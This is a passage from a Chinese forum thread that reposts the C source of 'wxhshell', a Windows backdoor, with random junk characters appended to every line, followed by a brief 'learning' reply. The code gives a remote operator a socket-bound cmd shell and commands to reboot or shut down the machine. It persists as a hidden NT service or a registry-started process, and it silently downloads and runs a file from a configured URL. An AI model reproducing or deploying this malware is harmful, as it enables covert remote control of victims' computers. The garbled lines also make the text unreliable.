  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2|="!c8K  
  } ?-'m#5i"  
  else { IZr~h9  
[VvTR#^  
    switch(cmd[0]) { 7d9kr?3(U  
  &G#LQl  
  // 帮助 3Z,J &d`[  
  case '?': { +TA 'P$j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \BIa:}9O  
    break; +w'"N  
  } !_zp'V]?  
  // 安装 U)v['5%  
  case 'i': { WCa>~dF>  
    if(Install()) /g|H?F0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }>)e~\Tdzb  
    else +ZuT\P&kR5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I+qg'mo  
    break; :0G_n\  
    } u\L=nCtLby  
  // 卸载 4!%@{H`3  
  case 'r': { yr4j  
    if(Uninstall()) jO` b&]0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;3 N0)  
    else r>!$eqX_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N^G $:GC  
    break; _(#HQd,i  
    } <K^{36h  
  // 显示 wxhshell 所在路径 CV9o,rL  
  case 'p': { D'{NEk@  
    char svExeFile[MAX_PATH];  18(hrj  
    strcpy(svExeFile,"\n\r"); Z*AT &7  
      strcat(svExeFile,ExeFile); C*+gQeK  
        send(wsh,svExeFile,strlen(svExeFile),0); L5+X&  
    break; R`IFKmA EJ  
    } nFRU-D$7  
  // 重启 Xv1 SRP#  
  case 'b': { ]4{ )VXod  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y]zy=8q  
    if(Boot(REBOOT)) DC&3=Nd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pQQN8Y~^Y  
    else { <)hA? 3J  
    closesocket(wsh); {ylY"FA  
    ExitThread(0); }01c7/DRP<  
    } W^a-K  
    break; goE \C  
    } vb o| q[z  
  // 关机 3YKJN4  
  case 'd': { xj6@85^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^M:Y$9r_s  
    if(Boot(SHUTDOWN)) zmA]@'j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~}lYp^~:J  
    else { ,M4G_U[  
    closesocket(wsh); lpjeEaw o4  
    ExitThread(0); Ri<7!Y?l  
    } fX ^h O+f  
    break; .Yw  
    } }9Th`   
  // 获取shell (D.B'V#>  
  case 's': { n@TK}?\UoR  
    CmdShell(wsh); Su4&qY  
    closesocket(wsh); Aof)WKo  
    ExitThread(0); R6(sWN-  
    break; \ F\ /<  
  } e_<'zH_1  
  // 退出 \?$`dA[  
  case 'x': { ;\N )RZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Rm&^[mv  
    CloseIt(wsh); Z[ NO`!<  
    break; ;S&PLgZ  
    } mp !S<m  
  // 离开 .S5%Qa [uW  
  case 'q': { '-,$@l#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^"\3dfzKM  
    closesocket(wsh); 0[# zn  
    WSACleanup(); kFRl+,bi~  
    exit(1); gwA+%]  
    break; N$!aP/b  
        } *?JNh;  
  } 1Fg*--8[r  
  } "jUM}@q5  
7J[DD5  
  // 提示信息 .83{NF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cr7T=&L  
} 6YHQ/#'G~  
  } 5 O't-'  
<UEta>jj  
  return; Daw;6f:  
} @QN(ouqQ  
A_y]6~Mu?~  
// shell模块句柄 Nf]h8d~  
int CmdShell(SOCKET sock) [$Dzf<0  
{ /e:kBjysJ  
STARTUPINFO si; |]Eli%mNe  
ZeroMemory(&si,sizeof(si)); mTj ?W$+r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H@'f=Y*D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; < dD)>Y.  
PROCESS_INFORMATION ProcessInfo; r6b;v2!8  
char cmdline[]="cmd"; cXd?48O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ee}HQ.}Ja  
  return 0; ? PI2X.6  
} }fV+Kd$CB  
fi,h`mdT?  
// 自身启动模式 8v ZY+Q >  
int StartFromService(void) 9n#lDL O  
{ *QGyF`Go{  
typedef struct HM]mOmL90N  
{ RPB%6z$  
  DWORD ExitStatus; t:O"t G  
  DWORD PebBaseAddress; KLBX2H2^0  
  DWORD AffinityMask; ( kKQs")  
  DWORD BasePriority; ^. p d'  
  ULONG UniqueProcessId; +_T`tmQ  
  ULONG InheritedFromUniqueProcessId; W=S<DtG2  
}   PROCESS_BASIC_INFORMATION; *U mWcFoF  
zR!p-7_w  
PROCNTQSIP NtQueryInformationProcess; jU9\BYUg  
Mb^E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vTl7x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r$cq2pkX  
*}P=7TuS  
  HANDLE             hProcess; M%z$yU`ac  
  PROCESS_BASIC_INFORMATION pbi; qRc Y(mb  
,\RZ+kC>~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s# 9*`K  
  if(NULL == hInst ) return 0; aGml!N5'  
Pm/Rc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,+>JQ82  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PC<[ $~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6b wzNY 7  
Bln($lOz  
  if (!NtQueryInformationProcess) return 0; v,d bto0  
@OGHS}-\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N \t( rp  
  if(!hProcess) return 0; t) l  
IZs NMY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T^DJ/uhd  
XQPlhpcv  
  CloseHandle(hProcess); U~GQ JR  
YHOo6syk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SMn(c  
if(hProcess==NULL) return 0; KK';ho,W  
>3?p23|;  
HMODULE hMod; l<)k`lrMX4  
char procName[255]; ms{iQ:'9  
unsigned long cbNeeded; _]t^F9l  
wZ%a:Z4TcM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #oD;?Mi  
$4:Se#nl  
  CloseHandle(hProcess); He)!Ez\X  
xO{$6M3-~  
if(strstr(procName,"services")) return 1; // 以服务启动 k@[{_@>4^  
~zYk,;m  
  return 0; // 注册表启动 sW&5Mu-  
} xl ]1TB@  
61W[  
// 主模块 ^N&@7s  
int StartWxhshell(LPSTR lpCmdLine)  X]4j&QB  
{ ]S 3l' "  
  SOCKET wsl; IKVFbTX:y  
BOOL val=TRUE; O^~Z-; FA  
  int port=0; E*"oA1/I  
  struct sockaddr_in door; >/+R~ n  
yA]OX"T?*  
  if(wscfg.ws_autoins) Install(); s# V>+mU  
/^sk y!  
port=atoi(lpCmdLine); rHp2I6.0a  
w2) @o >w  
if(port<=0) port=wscfg.ws_port; 0fog/c#q(  
BMO&(g  
  WSADATA data; &&ZX<wOM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dCA! R"HD  
X#k:J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g `(3r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c<ORmg6  
  door.sin_family = AF_INET; lSG]{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a];1)zVA6  
  door.sin_port = htons(port); Ku?1QDhrF*  
rcz9\@M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vMzBp#MT  
closesocket(wsl); i:|e#$x  
return 1; _>E=.$  
} @y2cC6+'t  
lx<!*2 -^  
  if(listen(wsl,2) == INVALID_SOCKET) { Om(Ir&0  
closesocket(wsl); Ez / W$U  
return 1; dC>(UDC  
} ,Bs/.htQj  
  Wxhshell(wsl); )I"I[jDw  
  WSACleanup(); PYiO l  
%.WW-S3  
return 0; M.67[Qj~"u  
$DW__h  
} #A&49a3^1  
ldnKV&N  
// 以NT服务方式启动 :3[;9xCHj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  }=d}q *  
{ cHC4Y&&uZ  
DWORD   status = 0; mLfY^&2Pr  
  DWORD   specificError = 0xfffffff; @=6oB3tQA  
'fYF1gR4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,WBKN)%u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9t!Agxm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8?1MnjhX10  
  serviceStatus.dwWin32ExitCode     = 0; lS]6Sk Z6  
  serviceStatus.dwServiceSpecificExitCode = 0; /vI"v 4  
  serviceStatus.dwCheckPoint       = 0; XXA.wPD-  
  serviceStatus.dwWaitHint       = 0; |W*5<2Q9  
 I)MRAo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {f\{{JJ]  
  if (hServiceStatusHandle==0) return; 2B"tT"f  
*j<{3$6Ii  
status = GetLastError(); ?}U?Q7vx@@  
  if (status!=NO_ERROR) w:ASB>,!  
{ ZgfhNI\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B'I_i$g4w  
    serviceStatus.dwCheckPoint       = 0; |G/U%?`  
    serviceStatus.dwWaitHint       = 0; C]&/k_k  
    serviceStatus.dwWin32ExitCode     = status; ?)H:.]7-x  
    serviceStatus.dwServiceSpecificExitCode = specificError; Sd/7#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vxS4YRb  
    return; 9)>+r6t  
  } ECk3Da  
]xGpN ]u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  niyI$OC  
  serviceStatus.dwCheckPoint       = 0; Za]~[F  
  serviceStatus.dwWaitHint       = 0; vX_;Y#uD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zb&"W]HSf  
}  kGAB'  
mqbCa6>_S  
// 处理NT服务事件,比如:启动、停止 |I;]fH,+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4K ]*bF44  
{ $>T(31)c  
switch(fdwControl) ;Sfe.ky @6  
{ BIEq(/-  
case SERVICE_CONTROL_STOP: $/ g<h  
  serviceStatus.dwWin32ExitCode = 0; DOOF--ua  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tRo` @eEX  
  serviceStatus.dwCheckPoint   = 0; {Ve3EYYm  
  serviceStatus.dwWaitHint     = 0; qP-_xpu]R  
  { sL,|+>7T^M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -EP(/CS!  
  } jOd+LXPJ  
  return; u$FL(m4  
case SERVICE_CONTROL_PAUSE:  % s@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B|.A6:1g+  
  break; 1je/l9L  
case SERVICE_CONTROL_CONTINUE: cl`7|;v|?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y t7>,  
  break; M9G?^mW1sT  
case SERVICE_CONTROL_INTERROGATE: % K,cGgp^)  
  break; bVzJOBe  
}; !ST7@D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {9* l  
} {0 %  
q/Zs]Gz  
// 标准应用程序主函数 nzZs2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sk-Q 4D^  
{ Ly z8DwZ  
U'u_'5 {  
// 获取操作系统版本 ~NB|BwAh  
OsIsNt=GetOsVer(); CM7NdK?I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \58bz<u"  
hl0\$  
  // 从命令行安装 hAs ReZ?  
  if(strpbrk(lpCmdLine,"iI")) Install(); _ gGA/   
U2LD_-HZ  
  // 下载执行文件 rGrR;  
if(wscfg.ws_downexe) { G9Noch9 g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4Dy1M}7  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'u%vpvF  
} vz)R84   
{Us^ 4Xe  
if(!OsIsNt) { B@S~v+Gr  
// 如果时win9x,隐藏进程并且设置为注册表启动 |bhv7(_  
HideProc(); *>2e4j]  
StartWxhshell(lpCmdLine); 7rYBFSp  
} =oM#]M'G+(  
else ^nK7&]rK  
  if(StartFromService()) DWEDL[{  
  // 以服务方式启动 e1y#p3 @d  
  StartServiceCtrlDispatcher(DispatchTable); (BngwLVDK  
else )CHXfO w  
  // 普通方式启动 jT/P+2hMW  
  StartWxhshell(lpCmdLine); p2< 927z  
4>HaKJ-c#  
return 0; 5<e{)$C  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八